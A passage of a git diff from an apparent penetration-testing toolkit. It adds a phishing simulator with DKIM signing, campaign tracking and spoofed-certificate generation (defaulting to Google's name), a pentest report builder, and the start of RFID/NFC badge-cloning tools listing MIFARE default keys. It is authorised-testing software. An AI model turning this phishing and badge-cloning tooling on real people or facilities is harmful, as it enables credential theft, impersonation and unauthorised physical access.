sign emails.""" + + @staticmethod + def generate_keypair(domain: str) -> dict: + """Generate RSA keypair for DKIM signing.""" + key_dir = os.path.join(get_data_dir(), 'phishmail', 'dkim') + os.makedirs(key_dir, exist_ok=True) + + priv_path = os.path.join(key_dir, f'{domain}.key') + pub_path = os.path.join(key_dir, f'{domain}.pub') + + try: + subprocess.run([ + 'openssl', 'genrsa', '-out', priv_path, '2048' + ], check=True, capture_output=True) + subprocess.run([ + 'openssl', 'rsa', '-in', priv_path, + '-pubout', '-out', pub_path + ], check=True, capture_output=True) + + with open(pub_path, 'r') as f: + pub_key = f.read() + # Extract just the key data (strip PEM headers) + lines = [l for l in pub_key.strip().split('\n') + if not l.startswith('-----')] + dns_key = ''.join(lines) + + return { + 'ok': True, + 'private_key': priv_path, + 'public_key': pub_path, + 'dns_record': f'v=DKIM1; k=rsa; p={dns_key}', + 'selector': 'default', + 'domain': domain, + } + except FileNotFoundError: + return {'ok': False, 'error': 'OpenSSL not found'} + except subprocess.CalledProcessError as e: + return {'ok': False, 'error': f'OpenSSL error: {e.stderr.decode(errors="replace")}'} + + @staticmethod + def list_keys() -> list: + key_dir = os.path.join(get_data_dir(), 'phishmail', 'dkim') + if not os.path.isdir(key_dir): + return [] + keys = [] + for f in os.listdir(key_dir): + if f.endswith('.key'): + domain = f[:-4] + pub_exists = os.path.exists(os.path.join(key_dir, f'{domain}.pub')) + keys.append({'domain': domain, 'has_pub': pub_exists}) + return keys + + @staticmethod + def sign_message(msg_str: str, domain: str, + selector: str = 'default') -> Optional[str]: + """Sign a message with DKIM. Returns the DKIM-Signature header value.""" + try: + import dkim + key_path = os.path.join(get_data_dir(), 'phishmail', 'dkim', f'{domain}.key') + if not os.path.exists(key_path): + return None + with open(key_path, 'rb') as f: + private_key = f.read() + sig = dkim.sign(msg_str.encode(), + selector.encode(), + domain.encode(), + private_key) + return sig.decode() + except ImportError: + return None + except Exception: + return None + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_gone_fishing() -> GoneFishingServer: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = GoneFishingServer() + return _instance + + +# ── Interactive CLI ────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for Gone Fishing Mail Service.""" + server = get_gone_fishing() + + while True: + print("\n" + "=" * 60) + print(" GONE FISHING MAIL SERVICE") + print(" Local network phishing simulator") + print("=" * 60) + relay_status = "RUNNING" if server.relay_running else "STOPPED" + print(f" SMTP Relay: {relay_status}") + print() + print(" 1 — Compose & Send Email") + print(" 2 — Manage Campaigns") + print(" 3 — Manage Templates") + print(" 4 — Start/Stop SMTP Relay") + print(" 5 — Generate Spoofed Certificate") + print(" 6 — View Tracking Stats") + print(" 7 — Test SMTP Connection") + print(" 0 — Back") + print() + + choice = input(" Select: ").strip() + + if choice == '0': + break + elif choice == '1': + _cli_compose(server) + elif choice == '2': + _cli_campaigns(server) + elif choice == '3': + _cli_templates(server) + elif choice == '4': + _cli_relay(server) + elif choice == '5': + _cli_generate_cert(server) + elif choice == '6': + _cli_tracking(server) + elif choice == '7': + _cli_test_smtp(server) + + +def _cli_compose(server: GoneFishingServer): + """Compose and send a single email.""" + print("\n--- Compose Email ---") + from_name = input(" From Name: ").strip() or "IT Department" + from_addr = input(" From Address: ").strip() or "it@company.local" + to_input = input(" To (comma-separated): ").strip() + if not to_input: + print(" [!] No recipients specified") + return + + to_addrs = [a.strip() for a in to_input.split(',') if a.strip()] + + # Validate + for addr in to_addrs: + ok, msg = _validate_local_only(addr) + if not ok: + print(f" [!] {msg}") + return + + subject = input(" Subject: ").strip() or "Test Email" + + # Template selection + templates = server.templates.list_templates() + print("\n Available templates:") + tpl_list = list(templates.keys()) + for i, name in enumerate(tpl_list, 1): + tag = " (built-in)" if templates[name].get('builtin') else "" + print(f" {i} — {name}{tag}") + print(f" 0 — Custom (enter HTML manually)") + + tpl_choice = input(" Template: ").strip() + html_body = '' + text_body = '' + + if tpl_choice == '0' or not tpl_choice: + html_body = input(" HTML Body (or press Enter for plain text): ").strip() + if not html_body: + text_body = input(" Plain Text Body: ").strip() + else: + try: + idx = int(tpl_choice) - 1 + if 0 <= idx < len(tpl_list): + tpl = templates[tpl_list[idx]] + html_body = tpl.get('html', '') + text_body = tpl.get('text', '') + if tpl.get('subject') and not subject: + subject = tpl['subject'] + print(f" Using template: {tpl_list[idx]}") + else: + print(" [!] Invalid template selection") + return + except ValueError: + print(" [!] Invalid selection") + return + + smtp_host = input(" SMTP Host [127.0.0.1]: ").strip() or "127.0.0.1" + smtp_port = input(" SMTP Port [25]: ").strip() or "25" + use_tls = input(" Use TLS? [y/N]: ").strip().lower() == 'y' + + config = { + 'from_addr': from_addr, + 'from_name': from_name, + 'to_addrs': to_addrs, + 'subject': subject, + 'html_body': html_body, + 'text_body': text_body, + 'smtp_host': smtp_host, + 'smtp_port': int(smtp_port), + 'use_tls': use_tls, + } + + print("\n Sending...") + result = server.send_email(config) + if result['ok']: + print(f" [+] {result['message']}") + else: + print(f" [-] {result['error']}") + + +def _cli_campaigns(server: GoneFishingServer): + """Campaign management CLI.""" + while True: + print("\n--- Campaign Management ---") + campaigns = server.campaigns.list_campaigns() + if campaigns: + for c in campaigns: + stats = server.campaigns.get_stats(c['id']) + print(f" [{c['id']}] {c['name']} — " + f"Status: {c['status']}, " + f"Targets: {stats.get('total', 0)}, " + f"Sent: {stats.get('sent', 0)}, " + f"Opened: {stats.get('opened', 0)}") + else: + print(" No campaigns yet") + + print("\n 1 — Create Campaign") + print(" 2 — Send Campaign") + print(" 3 — Delete Campaign") + print(" 0 — Back") + + choice = input(" Select: ").strip() + if choice == '0': + break + elif choice == '1': + name = input(" Campaign Name: ").strip() + if not name: + continue + templates = server.templates.list_templates() + tpl_list = list(templates.keys()) + print(" Templates:") + for i, t in enumerate(tpl_list, 1): + print(f" {i} — {t}") + tpl_idx = input(" Template #: ").strip() + try: + template = tpl_list[int(tpl_idx) - 1] + except (ValueError, IndexError): + print(" [!] Invalid template") + continue + targets = input(" Targets (comma-separated emails): ").strip() + if not targets: + continue + target_list = [t.strip() for t in targets.split(',') if t.strip()] + from_addr = input(" From Address: ").strip() or "it@company.local" + from_name = input(" From Name: ").strip() or "IT Department" + subject = input(" Subject: ").strip() or templates[template].get('subject', 'Notification') + smtp_host = input(" SMTP Host [127.0.0.1]: ").strip() or "127.0.0.1" + smtp_port = input(" SMTP Port [25]: ").strip() or "25" + + cid = server.campaigns.create_campaign( + name, template, target_list, from_addr, from_name, + subject, smtp_host, int(smtp_port)) + print(f" [+] Campaign created: {cid}") + elif choice == '2': + cid = input(" Campaign ID: ").strip() + result = server.send_campaign(cid) + if result['ok']: + print(f" [+] {result['message']}") + else: + print(f" [-] {result['error']}") + elif choice == '3': + cid = input(" Campaign ID: ").strip() + if server.campaigns.delete_campaign(cid): + print(" [+] Campaign deleted") + else: + print(" [-] Campaign not found") + + +def _cli_templates(server: GoneFishingServer): + """Template management CLI.""" + templates = server.templates.list_templates() + print("\n--- Email Templates ---") + for name, tpl in templates.items(): + tag = " (built-in)" if tpl.get('builtin') else " (custom)" + print(f" {name}{tag}") + if tpl.get('subject'): + print(f" Subject: {tpl['subject']}") + + print("\n 1 — Create Custom Template") + print(" 2 — Delete Custom Template") + print(" 0 — Back") + + choice = input(" Select: ").strip() + if choice == '1': + name = input(" Template Name: ").strip() + if not name: + return + subject = input(" Subject: ").strip() + print(" Enter HTML body (end with empty line):") + lines = [] + while True: + line = input() + if not line: + break + lines.append(line) + html = '\n'.join(lines) + text = input(" Plain text fallback: ").strip() + server.templates.save_template(name, html, text, subject) + print(f" [+] Template '{name}' saved") + elif choice == '2': + name = input(" Template Name to delete: ").strip() + if server.templates.delete_template(name): + print(f" [+] Template '{name}' deleted") + else: + print(" [-] Template not found (or is built-in)") + + +def _cli_relay(server: GoneFishingServer): + """SMTP relay control.""" + status = server.relay_status() + if status['running']: + print(f"\n SMTP Relay: RUNNING on {status['host']}:{status['port']}") + print(f" Received messages: {status['received']}") + stop = input(" Stop relay? [y/N]: ").strip().lower() + if stop == 'y': + server.stop_relay() + print(" [+] Relay stopped") + else: + print("\n SMTP Relay: STOPPED") + host = input(" Bind host [0.0.0.0]: ").strip() or "0.0.0.0" + port = input(" Bind port [2525]: ").strip() or "2525" + result = server.start_relay(host, int(port)) + print(f" [+] {result['message']}") + + +def _cli_generate_cert(server: GoneFishingServer): + """Generate spoofed certificate.""" + print("\n--- Certificate Generator ---") + print(" Generate a self-signed TLS certificate with custom fields.") + cn = input(" Common Name (CN) [mail.google.com]: ").strip() or "mail.google.com" + org = input(" Organization (O) [Google LLC]: ").strip() or "Google LLC" + ou = input(" Org Unit (OU) []: ").strip() + country = input(" Country (C) [US]: ").strip() or "US" + + result = server.generate_cert(cn=cn, org=org, ou=ou, country=country) + if result['ok']: + print(f" [+] {result['message']}") + print(f" Cert: {result['cert']}") + print(f" Key: {result['key']}") + else: + print(f" [-] {result['error']}") + + +def _cli_tracking(server: GoneFishingServer): + """View tracking stats for campaigns.""" + campaigns = server.campaigns.list_campaigns() + if not campaigns: + print("\n No campaigns to show stats for") + return + print("\n--- Campaign Tracking ---") + for c in campaigns: + stats = server.campaigns.get_stats(c['id']) + print(f"\n Campaign: {c['name']} [{c['id']}]") + print(f" Status: {c['status']}") + print(f" Total Targets: {stats.get('total', 0)}") + print(f" Sent: {stats.get('sent', 0)}") + print(f" Opened: {stats.get('opened', 0)} ({stats.get('open_rate', '0%')})") + print(f" Clicked: {stats.get('clicked', 0)} ({stats.get('click_rate', '0%')})") + + # Show per-target details + camp = server.campaigns.get_campaign(c['id']) + if camp: + for t in camp['targets']: + status_icon = '✓' if t.get('sent_at') else '·' + open_icon = '👁' if t.get('opened_at') else '' + click_icon = '🖱' if t.get('clicked_at') else '' + print(f" {status_icon} {t['email']} {open_icon} {click_icon}") + + +def _cli_test_smtp(server: GoneFishingServer): + """Test SMTP connection.""" + host = input(" SMTP Host: ").strip() + if not host: + return + port = input(" Port [25]: ").strip() or "25" + print(f" Testing {host}:{port}...") + result = server.test_smtp(host, int(port)) + if result['ok']: + print(f" [+] {result['message']}") + if result.get('banner'): + print(f" Banner: {result['banner'][:200]}") + else: + print(f" [-] {result['error']}") diff --git a/modules/report_engine.py b/modules/report_engine.py new file mode 100644 index 0000000..3f333df --- /dev/null +++ b/modules/report_engine.py @@ -0,0 +1,499 @@ +"""AUTARCH Reporting Engine + +Structured pentest report builder with findings, CVSS scoring, evidence, +and export to HTML/Markdown/JSON. +""" + +DESCRIPTION = "Pentest report builder & exporter" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import json +import time +import uuid +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any +from dataclasses import dataclass, field, asdict +import threading + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Finding Severity & CVSS ────────────────────────────────────────────────── + +SEVERITY_MAP = { + 'critical': {'color': '#dc2626', 'score_range': '9.0-10.0', 'order': 0}, + 'high': {'color': '#ef4444', 'score_range': '7.0-8.9', 'order': 1}, + 'medium': {'color': '#f59e0b', 'score_range': '4.0-6.9', 'order': 2}, + 'low': {'color': '#22c55e', 'score_range': '0.1-3.9', 'order': 3}, + 'info': {'color': '#6366f1', 'score_range': '0.0', 'order': 4}, +} + +FINDING_TEMPLATES = [ + { + 'id': 'sqli', + 'title': 'SQL Injection', + 'severity': 'critical', + 'cvss': 9.8, + 'description': 'The application is vulnerable to SQL injection, allowing an attacker to manipulate database queries.', + 'impact': 'Complete database compromise, data exfiltration, authentication bypass, potential remote code execution.', + 'remediation': 'Use parameterized queries/prepared statements. Implement input validation and WAF rules.', + 'references': ['OWASP Top 10: A03:2021', 'CWE-89'], + }, + { + 'id': 'xss', + 'title': 'Cross-Site Scripting (XSS)', + 'severity': 'high', + 'cvss': 7.5, + 'description': 'The application reflects user input without proper sanitization, enabling script injection.', + 'impact': 'Session hijacking, credential theft, defacement, malware distribution.', + 'remediation': 'Encode all output, implement Content-Security-Policy, use framework auto-escaping.', + 'references': ['OWASP Top 10: A03:2021', 'CWE-79'], + }, + { + 'id': 'broken_auth', + 'title': 'Broken Authentication', + 'severity': 'critical', + 'cvss': 9.1, + 'description': 'Authentication mechanisms can be bypassed or abused to gain unauthorized access.', + 'impact': 'Account takeover, privilege escalation, unauthorized data access.', + 'remediation': 'Implement MFA, rate limiting, secure session management, strong password policies.', + 'references': ['OWASP Top 10: A07:2021', 'CWE-287'], + }, + { + 'id': 'idor', + 'title': 'Insecure Direct Object Reference (IDOR)', + 'severity': 'high', + 'cvss': 7.5, + 'description': 'The application exposes internal object references that can be manipulated to access unauthorized resources.', + 'impact': 'Unauthorized access to other users\' data, horizontal privilege escalation.', + 'remediation': 'Implement proper access control checks, use indirect references.', + 'references': ['OWASP Top 10: A01:2021', 'CWE-639'], + }, + { + 'id': 'missing_headers', + 'title': 'Missing Security Headers', + 'severity': 'low', + 'cvss': 3.1, + 'description': 'The application does not implement recommended security headers.', + 'impact': 'Increased attack surface for clickjacking, MIME sniffing, and XSS attacks.', + 'remediation': 'Implement CSP, X-Frame-Options, X-Content-Type-Options, HSTS headers.', + 'references': ['OWASP Secure Headers Project'], + }, + { + 'id': 'weak_ssl', + 'title': 'Weak SSL/TLS Configuration', + 'severity': 'medium', + 'cvss': 5.3, + 'description': 'The server supports weak SSL/TLS protocols or cipher suites.', + 'impact': 'Potential for traffic interception via downgrade attacks.', + 'remediation': 'Disable TLS 1.0/1.1, remove weak ciphers, enable HSTS.', + 'references': ['CWE-326', 'NIST SP 800-52'], + }, + { + 'id': 'info_disclosure', + 'title': 'Information Disclosure', + 'severity': 'medium', + 'cvss': 5.0, + 'description': 'The application reveals sensitive information such as server versions, stack traces, or internal paths.', + 'impact': 'Aids attackers in fingerprinting and planning targeted attacks.', + 'remediation': 'Remove version headers, disable debug modes, implement custom error pages.', + 'references': ['CWE-200'], + }, + { + 'id': 'default_creds', + 'title': 'Default Credentials', + 'severity': 'critical', + 'cvss': 9.8, + 'description': 'The system uses default or well-known credentials that have not been changed.', + 'impact': 'Complete system compromise with minimal effort.', + 'remediation': 'Enforce password change on first login, remove default accounts.', + 'references': ['CWE-798'], + }, + { + 'id': 'eternalblue', + 'title': 'MS17-010 (EternalBlue)', + 'severity': 'critical', + 'cvss': 9.8, + 'description': 'The target is vulnerable to the EternalBlue SMB exploit (MS17-010).', + 'impact': 'Remote code execution with SYSTEM privileges, wormable exploit.', + 'remediation': 'Apply Microsoft patch MS17-010, disable SMBv1.', + 'references': ['CVE-2017-0144', 'MS17-010'], + }, + { + 'id': 'open_ports', + 'title': 'Unnecessary Open Ports', + 'severity': 'low', + 'cvss': 3.0, + 'description': 'The target exposes network services that are not required for operation.', + 'impact': 'Increased attack surface, potential exploitation of exposed services.', + 'remediation': 'Close unnecessary ports, implement firewall rules, use network segmentation.', + 'references': ['CIS Benchmarks'], + }, +] + + +# ── Report Engine ───────────────────────────────────────────────────────────── + +class ReportEngine: + """Pentest report builder with findings management and export.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'reports') + os.makedirs(self._data_dir, exist_ok=True) + + # ── Report CRUD ─────────────────────────────────────────────────────── + + def create_report(self, title: str, client: str = '', + scope: str = '', methodology: str = '') -> dict: + """Create a new report.""" + report_id = str(uuid.uuid4())[:8] + report = { + 'id': report_id, + 'title': title, + 'client': client, + 'scope': scope, + 'methodology': methodology or 'OWASP Testing Guide v4.2 / PTES', + 'executive_summary': '', + 'findings': [], + 'created_at': datetime.now(timezone.utc).isoformat(), + 'updated_at': datetime.now(timezone.utc).isoformat(), + 'status': 'draft', + 'author': 'AUTARCH', + } + self._save_report(report) + return {'ok': True, 'report': report} + + def get_report(self, report_id: str) -> Optional[dict]: + path = os.path.join(self._data_dir, f'{report_id}.json') + if not os.path.exists(path): + return None + with open(path, 'r') as f: + return json.load(f) + + def update_report(self, report_id: str, updates: dict) -> dict: + report = self.get_report(report_id) + if not report: + return {'ok': False, 'error': 'Report not found'} + for k, v in updates.items(): + if k in report and k not in ('id', 'created_at'): + report[k] = v + report['updated_at'] = datetime.now(timezone.utc).isoformat() + self._save_report(report) + return {'ok': True, 'report': report} + + def delete_report(self, report_id: str) -> dict: + path = os.path.join(self._data_dir, f'{report_id}.json') + if os.path.exists(path): + os.remove(path) + return {'ok': True} + return {'ok': False, 'error': 'Report not found'} + + def list_reports(self) -> List[dict]: + reports = [] + for f in Path(self._data_dir).glob('*.json'): + try: + with open(f, 'r') as fh: + r = json.load(fh) + reports.append({ + 'id': r['id'], + 'title': r['title'], + 'client': r.get('client', ''), + 'status': r.get('status', 'draft'), + 'findings_count': len(r.get('findings', [])), + 'created_at': r.get('created_at', ''), + 'updated_at': r.get('updated_at', ''), + }) + except Exception: + continue + reports.sort(key=lambda r: r.get('updated_at', ''), reverse=True) + return reports + + # ── Finding Management ──────────────────────────────────────────────── + + def add_finding(self, report_id: str, finding: dict) -> dict: + report = self.get_report(report_id) + if not report: + return {'ok': False, 'error': 'Report not found'} + finding['id'] = str(uuid.uuid4())[:8] + finding.setdefault('severity', 'medium') + finding.setdefault('cvss', 5.0) + finding.setdefault('status', 'open') + finding.setdefault('evidence', []) + report['findings'].append(finding) + report['updated_at'] = datetime.now(timezone.utc).isoformat() + self._save_report(report) + return {'ok': True, 'finding': finding} + + def update_finding(self, report_id: str, finding_id: str, + updates: dict) -> dict: + report = self.get_report(report_id) + if not report: + return {'ok': False, 'error': 'Report not found'} + for f in report['findings']: + if f['id'] == finding_id: + for k, v in updates.items(): + if k != 'id': + f[k] = v + report['updated_at'] = datetime.now(timezone.utc).isoformat() + self._save_report(report) + return {'ok': True, 'finding': f} + return {'ok': False, 'error': 'Finding not found'} + + def delete_finding(self, report_id: str, finding_id: str) -> dict: + report = self.get_report(report_id) + if not report: + return {'ok': False, 'error': 'Report not found'} + report['findings'] = [f for f in report['findings'] + if f['id'] != finding_id] + report['updated_at'] = datetime.now(timezone.utc).isoformat() + self._save_report(report) + return {'ok': True} + + def get_finding_templates(self) -> List[dict]: + return FINDING_TEMPLATES + + # ── Export ──────────────────────────────────────────────────────────── + + def export_html(self, report_id: str) -> Optional[str]: + """Export report as styled HTML.""" + report = self.get_report(report_id) + if not report: + return None + + findings_html = '' + sorted_findings = sorted(report.get('findings', []), + key=lambda f: SEVERITY_MAP.get(f.get('severity', 'info'), {}).get('order', 5)) + for i, f in enumerate(sorted_findings, 1): + sev = f.get('severity', 'info') + color = SEVERITY_MAP.get(sev, {}).get('color', '#666') + findings_html += f''' +
+

{i}. {_esc(f.get('title', 'Untitled'))}

+
+ {sev.upper()} + CVSS: {f.get('cvss', 'N/A')} + Status: {f.get('status', 'open')} +
+

Description

{_esc(f.get('description', ''))}

+

Impact

{_esc(f.get('impact', ''))}

+

Remediation

{_esc(f.get('remediation', ''))}

+ {'

Evidence

' + _esc(chr(10).join(f.get('evidence', []))) + '
' if f.get('evidence') else ''} + {'

References

    ' + ''.join('
  • ' + _esc(r) + '
    • ' for r in f.get('references', [])) + '
' if f.get('references') else ''} +
''' + + # Summary stats + severity_counts = {} + for f in report.get('findings', []): + s = f.get('severity', 'info') + severity_counts[s] = severity_counts.get(s, 0) + 1 + + summary_html = '
' + for sev in ['critical', 'high', 'medium', 'low', 'info']: + count = severity_counts.get(sev, 0) + color = SEVERITY_MAP.get(sev, {}).get('color', '#666') + summary_html += f'
{count}{sev.upper()}
' + summary_html += '
' + + html = f''' +{_esc(report.get('title', 'Report'))} + +

{_esc(report.get('title', 'Penetration Test Report'))}

+
+
Client: {_esc(report.get('client', 'N/A'))}
+
Date: {report.get('created_at', '')[:10]}
+
Author: {_esc(report.get('author', 'AUTARCH'))}
+
Status: {report.get('status', 'draft').upper()}
+
+ +

Executive Summary

+

{_esc(report.get('executive_summary', 'No executive summary provided.'))}

+ +

Scope

+

{_esc(report.get('scope', 'No scope defined.'))}

+ +

Methodology

+

{_esc(report.get('methodology', ''))}

+ +

Findings Overview

+{summary_html} + +

Detailed Findings

+{findings_html if findings_html else '

No findings recorded.

'} + +
+ Generated by AUTARCH Security Platform — {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')} +
+''' + return html + + def export_markdown(self, report_id: str) -> Optional[str]: + """Export report as Markdown.""" + report = self.get_report(report_id) + if not report: + return None + + md = f"# {report.get('title', 'Report')}\n\n" + md += f"**Client:** {report.get('client', 'N/A')} \n" + md += f"**Date:** {report.get('created_at', '')[:10]} \n" + md += f"**Author:** {report.get('author', 'AUTARCH')} \n" + md += f"**Status:** {report.get('status', 'draft')} \n\n" + + md += "## Executive Summary\n\n" + md += report.get('executive_summary', 'N/A') + "\n\n" + + md += "## Scope\n\n" + md += report.get('scope', 'N/A') + "\n\n" + + md += "## Findings\n\n" + sorted_findings = sorted(report.get('findings', []), + key=lambda f: SEVERITY_MAP.get(f.get('severity', 'info'), {}).get('order', 5)) + for i, f in enumerate(sorted_findings, 1): + md += f"### {i}. [{f.get('severity', 'info').upper()}] {f.get('title', 'Untitled')}\n\n" + md += f"**CVSS:** {f.get('cvss', 'N/A')} | **Status:** {f.get('status', 'open')}\n\n" + md += f"**Description:** {f.get('description', '')}\n\n" + md += f"**Impact:** {f.get('impact', '')}\n\n" + md += f"**Remediation:** {f.get('remediation', '')}\n\n" + if f.get('evidence'): + md += "**Evidence:**\n```\n" + '\n'.join(f['evidence']) + "\n```\n\n" + if f.get('references'): + md += "**References:** " + ', '.join(f['references']) + "\n\n" + md += "---\n\n" + + md += f"\n*Generated by AUTARCH — {datetime.now(timezone.utc).strftime('%Y-%m-%d')}*\n" + return md + + def export_json(self, report_id: str) -> Optional[str]: + report = self.get_report(report_id) + if not report: + return None + return json.dumps(report, indent=2) + + # ── Internal ────────────────────────────────────────────────────────── + + def _save_report(self, report: dict): + path = os.path.join(self._data_dir, f'{report["id"]}.json') + with open(path, 'w') as f: + json.dump(report, f, indent=2) + + +def _esc(s: str) -> str: + return (s or '').replace('&', '&').replace('<', '<').replace('>', '>') + + +# ── Singleton ───────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_report_engine() -> ReportEngine: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = ReportEngine() + return _instance + + +# ── CLI ─────────────────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for Reporting Engine.""" + svc = get_report_engine() + + while True: + print("\n╔═══════════════════════════════════════╗") + print("║ REPORTING ENGINE ║") + print("╠═══════════════════════════════════════╣") + print("║ 1 — List Reports ║") + print("║ 2 — Create Report ║") + print("║ 3 — Add Finding ║") + print("║ 4 — Export Report ║") + print("║ 5 — Finding Templates ║") + print("║ 0 — Back ║") + print("╚═══════════════════════════════════════╝") + + choice = input("\n Select: ").strip() + + if choice == '0': + break + elif choice == '1': + reports = svc.list_reports() + if not reports: + print("\n No reports.") + continue + for r in reports: + print(f" [{r['id']}] {r['title']} — {r['findings_count']} findings " + f"({r['status']}) {r['updated_at'][:10]}") + elif choice == '2': + title = input(" Report title: ").strip() + client = input(" Client name: ").strip() + scope = input(" Scope: ").strip() + r = svc.create_report(title, client, scope) + print(f" Created report: {r['report']['id']}") + elif choice == '3': + rid = input(" Report ID: ").strip() + print(" Available templates:") + for i, t in enumerate(FINDING_TEMPLATES, 1): + print(f" {i}. [{t['severity'].upper()}] {t['title']}") + sel = input(" Template # (0 for custom): ").strip() + if sel and sel != '0': + idx = int(sel) - 1 + if 0 <= idx < len(FINDING_TEMPLATES): + f = FINDING_TEMPLATES[idx].copy() + f.pop('id', None) + r = svc.add_finding(rid, f) + if r['ok']: + print(f" Added: {f['title']}") + else: + title = input(" Title: ").strip() + severity = input(" Severity (critical/high/medium/low/info): ").strip() + desc = input(" Description: ").strip() + r = svc.add_finding(rid, {'title': title, 'severity': severity, + 'description': desc}) + if r['ok']: + print(f" Added finding: {r['finding']['id']}") + elif choice == '4': + rid = input(" Report ID: ").strip() + fmt = input(" Format (html/markdown/json): ").strip() or 'html' + if fmt == 'html': + content = svc.export_html(rid) + elif fmt == 'markdown': + content = svc.export_markdown(rid) + else: + content = svc.export_json(rid) + if content: + ext = {'html': 'html', 'markdown': 'md', 'json': 'json'}.get(fmt, 'txt') + outpath = os.path.join(svc._data_dir, f'{rid}.{ext}') + with open(outpath, 'w') as f: + f.write(content) + print(f" Exported to: {outpath}") + else: + print(" Report not found.") + elif choice == '5': + for t in FINDING_TEMPLATES: + print(f" [{t['severity'].upper():8s}] {t['title']} (CVSS {t['cvss']})") diff --git a/modules/rfid_tools.py b/modules/rfid_tools.py new file mode 100644 index 0000000..70166b7 --- /dev/null +++ b/modules/rfid_tools.py @@ -0,0 +1,455 @@ +"""AUTARCH RFID/NFC Tools + +Proxmark3 integration, badge cloning, NFC read/write, MIFARE operations, +and card analysis for physical access security testing. +""" + +DESCRIPTION = "RFID/NFC badge cloning & analysis" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import shutil +import subprocess +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Card Types ─────────────────────────────────────────────────────────────── + +CARD_TYPES = { + 'em410x': {'name': 'EM410x', 'frequency': '125 kHz', 'category': 'LF'}, + 'hid_prox': {'name': 'HID ProxCard', 'frequency': '125 kHz', 'category': 'LF'}, + 't5577': {'name': 'T5577', 'frequency': '125 kHz', 'category': 'LF', 'writable': True}, + 'mifare_classic_1k': {'name': 'MIFARE Classic 1K', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'mifare_classic_4k': {'name': 'MIFARE Classic 4K', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'mifare_ultralight': {'name': 'MIFARE Ultralight', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'mifare_desfire': {'name': 'MIFARE DESFire', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'ntag213': {'name': 'NTAG213', 'frequency': '13.56 MHz', 'category': 'HF', 'nfc': True}, + 'ntag215': {'name': 'NTAG215', 'frequency': '13.56 MHz', 'category': 'HF', 'nfc': True}, + 'ntag216': {'name': 'NTAG216', 'frequency': '13.56 MHz', 'category': 'HF', 'nfc': True}, + 'iclass': {'name': 'iCLASS', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'iso14443a': {'name': 'ISO 14443A', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'iso15693': {'name': 'ISO 15693', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'legic': {'name': 'LEGIC', 'frequency': '13.56 MHz', 'category': 'HF'}, +} + +MIFARE_DEFAULT_KEYS = [ + 'FFFFFFFFFFFF', 'A0A1A2A3A4A5', 'D3F7D3F7D3F7', + '000000000000', 'B0B1B2B3B4B5', '4D3A99C351DD', + '1A982C7E459A', 'AABBCCDDEEFF', '714C5C886E97', + '587EE5F9350F', 'A0478CC39091', '533CB6C723F6', +] + + +# ── RFID Manager ───────────────────────────────────────────────────────────── + +class RFIDManager: + """RFID/NFC tool management via Proxmark3 and nfc-tools.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'rfid') + os.makedirs(self.data_dir, exist_ok=True) + self.dumps_dir = os.path.join(self.data_dir, 'dumps') + os.makedirs(self.dumps_dir, exist_ok=True) + + # Tool discovery + self.pm3_client = find_tool('pm3') or find_tool('proxmark3') or shutil.which('pm3') or shutil.which('proxmark3') + self.nfc_list = shutil.which('nfc-list') + self.nfc_poll = shutil.which('nfc-poll') + self.nfc_mfclassic = shutil.which('nfc-mfclassic') + + self.cards: List[Dict] = [] + self.last_read: Optional[Dict] = None + + def get_tools_status(self) -> Dict: + """Check available tools.""" + return { + 'proxmark3': self.pm3_client is not None, + 'nfc-list': self.nfc_list is not None, + 'nfc-mfclassic': self.nfc_mfclassic is not None, + 'card_types': len(CARD_TYPES), + 'saved_cards': len(self.cards) + } + + # ── Proxmark3 Commands ─────────────────────────────────────────────── + + def _pm3_cmd(self, command: str, timeout: int = 15) -> Dict: + """Execute Proxmark3 command.""" + if not self.pm3_client: + return {'ok': False, 'error': 'Proxmark3 client not found'} + + try: + result = subprocess.run( + [self.pm3_client, '-c', command], + capture_output=True, text=True, timeout=timeout + ) + return { + 'ok': result.returncode == 0, + 'stdout': result.stdout, + 'stderr': result.stderr + } + except subprocess.TimeoutExpired: + return {'ok': False, 'error': f'Command timed out: {command}'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Low Frequency (125 kHz) ────────────────────────────────────────── + + def lf_search(self) -> Dict: + """Search for LF (125 kHz) cards.""" + result = self._pm3_cmd('lf search') + if not result['ok']: + return result + + output = result['stdout'] + card = {'frequency': '125 kHz', 'category': 'LF'} + + # Parse EM410x + em_match = re.search(r'EM\s*410x.*?ID[:\s]*([A-Fa-f0-9]+)', output, re.I) + if em_match: + card['type'] = 'em410x' + card['id'] = em_match.group(1) + card['name'] = 'EM410x' + + # Parse HID + hid_match = re.search(r'HID.*?Card.*?([A-Fa-f0-9]+)', output, re.I) + if hid_match: + card['type'] = 'hid_prox' + card['id'] = hid_match.group(1) + card['name'] = 'HID ProxCard' + + if 'id' in card: + card['raw_output'] = output + self.last_read = card + return {'ok': True, 'card': card} + + return {'ok': False, 'error': 'No LF card found', 'raw': output} + + def lf_read_em410x(self) -> Dict: + """Read EM410x card.""" + result = self._pm3_cmd('lf em 410x reader') + if not result['ok']: + return result + + match = 